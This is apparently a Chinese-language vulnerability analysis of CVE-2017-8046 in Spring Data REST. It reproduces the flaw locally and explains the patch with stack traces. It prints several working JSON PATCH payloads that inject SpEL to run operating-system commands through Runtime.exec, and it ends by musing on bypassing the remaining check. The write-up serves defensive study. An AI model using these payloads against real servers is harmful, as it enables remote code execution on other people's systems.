1 综述

  近日,Pivotal官方发布通告表示Spring-data-rest服务器在处理PATCH请求时存在一个远程代码执行漏洞(CVE-2017-8046)。攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码。官方已经发布了新版本修复了该漏洞。

相关地址:
https://pivotal.io/security/cve-2017-8046

受影响的版本

不受影响的版本

解决方案
官方已经发布了新版本修复了该漏洞,受影响的用户请尽快升级至最新版本来防护该漏洞。

参考链接:
https://projects.spring.io/spring-data-rest/
https://projects.spring.io/spring-boot/

2 补丁分析:

从官方的描述来看就是就是Spring-data-rest服务处理PATCH请求不当,导致任意表达式执行从而导致的RCE。
首先来看下补丁,主要是evaluateValueFromTarget添加了一个校验方法verifyPath,对于不合规格的path直接报异常退出,主要是property.from(pathSource,type)实现,基本逻辑就是通过反射去验证该Field是否存在于bean中。

3 复现:

直接拉取https://github.com/spring-projects/spring-boot/tree/master/spring-boot-samples,找到spring-rest-data这个项目,直接用IDEA一步步导入进去即可,直接运行就能看到在本地的8080端口起了jetty服务。但是请注意这编译好的是最新版本,要引入漏洞,当然得老版本,修改pom.xml,添加plugin,具体如下:

<dependency>
   <groupId>org.springframework.data</groupId>
   <artifactId>spring-data-rest-webmvc</artifactId>
   <version>3.0.0.RC2</version>
</dependency>

从项目test目录找到相关请求形式,发送http://127.0.0.1:8080/api/cities/1即可看到回显表明服务正常启动。测试poc的效果如下:

这个poc的几个关键点在于:Content-Type: application/json-patch+json,path路径一定得用斜杠/隔开,至于为什么,后续会讲到。op支持的操作符很多,包括test,add,replace等都可以触发,op不同,path中添加的poc可以不一样,如op为test时就少了很多限制。如下是op为add时候的请求body。

[{"op":"add","path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{112, 105, 110, 103, 32, 49, 57, 50, 46, 49, 54, 56, 46, 51, 46, 49, 48, 54}))/xxlegend"}]

执行ping 192.168.3.106

3 分析:

漏洞的触发过程详细分析见文档:https://mp.weixin.qq.com/s/uTiWDsPKEjTkN6z9QNLtSA ,这里已经描述的比较清楚,在这里不再重述,这篇文档后续的分析主要是对poc的一些解读。
随便拿一个以前spring表达式注入的poc作为path的参数值,如poc:

[{"op":"add","path":"new java.lang.String(new byte[]{70, 66, 66, 50, 48, 52, 65, 52, 48, 54, 49, 70, 70, 66, 68, 52, 49, 50, 56, 52, 65, 56, 52, 67, 50, 53, 56, 67, 49, 66, 70, 66})"
}]

这个请求的特别之处在于path字段值后边没有了斜杠。
会报如下错误:

Caused by: org.springframework.expression.spel.SpelEvaluationException: EL1032E: setValue(ExpressionState, Object) not supported for 'class org.springframework.expression.spel.ast.ConstructorReference'
    at org.springframework.expression.spel.ast.SpelNodeImpl.setValue(SpelNodeImpl.java:148) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.expression.spel.standard.SpelExpression.setValue(SpelExpression.java:416) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.data.rest.webmvc.json.patch.PatchOperation.addValue(PatchOperation.java:148) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.json.patch.AddOperation.perform(AddOperation.java:48) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.json.patch.Patch.apply(Patch.java:64) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.config.JsonPatchHandler.applyPatch(JsonPatchHandler.java:91) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.config.JsonPatchHandler.apply(JsonPatchHandler.java:83) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.config.PersistentEntityResourceHandlerMethodArgumentResolver.readPatch(PersistentEntityResourceHandlerMethodArgumentResolver.java:200) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]

说明path参数确实被污染,此处存在表达式注入漏洞,虽然已经进入表达式的执行流程,但是这里却报错退出。离RCE还差一步,查看org.springframework.expression.spel.ast.SpelNodeImpl.setValue方法

@Override
public void setValue(ExpressionState expressionState, Object newValue) throws EvaluationException {
   throw new SpelEvaluationException(getStartPosition(),
         SpelMessage.SETVALUE_NOT_SUPPORTED, getClass());
}

这个方法直接抛出异常,那看来poc离执行还有一段距离。直接调出setValue的实现,发现有五个地方重写了该方法。SpelNodeImpl的setValue也在其中,但是它是直接抛出异常的,算一个异常检查吧。查看他们的实现,只有CompoundExpression,Indexer,PropertyOrFieldReference真正存在执行表达式。

查看相关文档得知 CompoundExpression是复杂表达式,用.连接起来的都算。
Indexer一般是这么表示test[xxlegend],那么可以把poc改成

[{"op":"add","path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{112, 105, 110, 103, 32, 49, 57, 50, 46, 49, 54, 56, 46, 51, 46, 49, 48, 54}))[xxlegend]"
}]

这也是可以运行的。再看调用栈也是符合我们刚才理解到

SpelExpression.setValue--》
 CompoundExpression.setValue--》
      CompoundExpression.getValueRef--》
           Indexer.getValueRef--》
                PropertyOrFieldReference.getValueInternal--》
                     PropertyOrFieldReference.readProperty
Caused by: org.springframework.expression.spel.SpelEvaluationException: EL1008E: Property or field 'xxlegend' cannot be found on object of type 'sample.data.rest.domain.City' - maybe not public?
    at org.springframework.expression.spel.ast.PropertyOrFieldReference.readProperty(PropertyOrFieldReference.java:224) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.expression.spel.ast.PropertyOrFieldReference.getValueInternal(PropertyOrFieldReference.java:94) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.expression.spel.ast.PropertyOrFieldReference.getValueInternal(PropertyOrFieldReference.java:81) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.expression.spel.ast.Indexer.getValueRef(Indexer.java:123) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.expression.spel.ast.CompoundExpression.getValueRef(CompoundExpression.java:66) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.expression.spel.ast.CompoundExpression.setValue(CompoundExpression.java:95) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.expression.spel.standard.SpelExpression.setValue(SpelExpression.java:416) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.data.rest.webmvc.json.patch.PatchOperation.addValue(PatchOperation.java:148) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.json.patch.AddOperation.perform(AddOperation.java:48) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.json.patch.Patch.apply(Patch.java:64) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.config.JsonPatchHandler.applyPatch(JsonPatchHandler.java:91) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.config.JsonPatchHandler.apply(JsonPatchHandler.java:83) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.config.PersistentEntityResourceHandlerMethodArgumentResolver.readPatch(PersistentEntityResourceHandlerMethodArgumentResolver.java:200) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]

前面都是讲path参数,也就是表达式的写法。在这个poc中还用到op参数,op表示要执行的动作,在代码中定义了add,copy,from,move,replace,test这么多操作值,add,test,replace可直接触发漏洞,并且test非常直接,path参数值无需斜杠/,[]来分割,poc如下:

[{"op":"test","path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{112, 105, 110, 103, 32, 49, 57, 50, 46, 49, 54, 56, 46, 51, 46, 49, 48, 54}))"
}]

很明显这个poc的path参数值无线跟/ []来分割参数。原因就是它调用的是SpelExpression.getValue,而非test情况下的poc最终调用的都是SpelExpression.setValue,通过setValue调用getValueRef来达到表达式注入。
下面看看test的调用栈:

这个点官方也没修,但是有个限制:

@Override
<T> void perform(Object target, Class<T> type) {

   Object expected = normalizeIfNumber(evaluateValueFromTarget(target, type));
   Object actual = normalizeIfNumber(getValueFromTarget(target));

   if (!ObjectUtils.nullSafeEquals(expected, actual)) {
      throw new PatchException("Test against path '" + path + "' failed.");
   }
}

evaluateValueFromTarget运行在前,会报错退出,导致getValueFromTarget不会被执行,怎么绕过去呢?值得思考。

源链接

Hacking more

...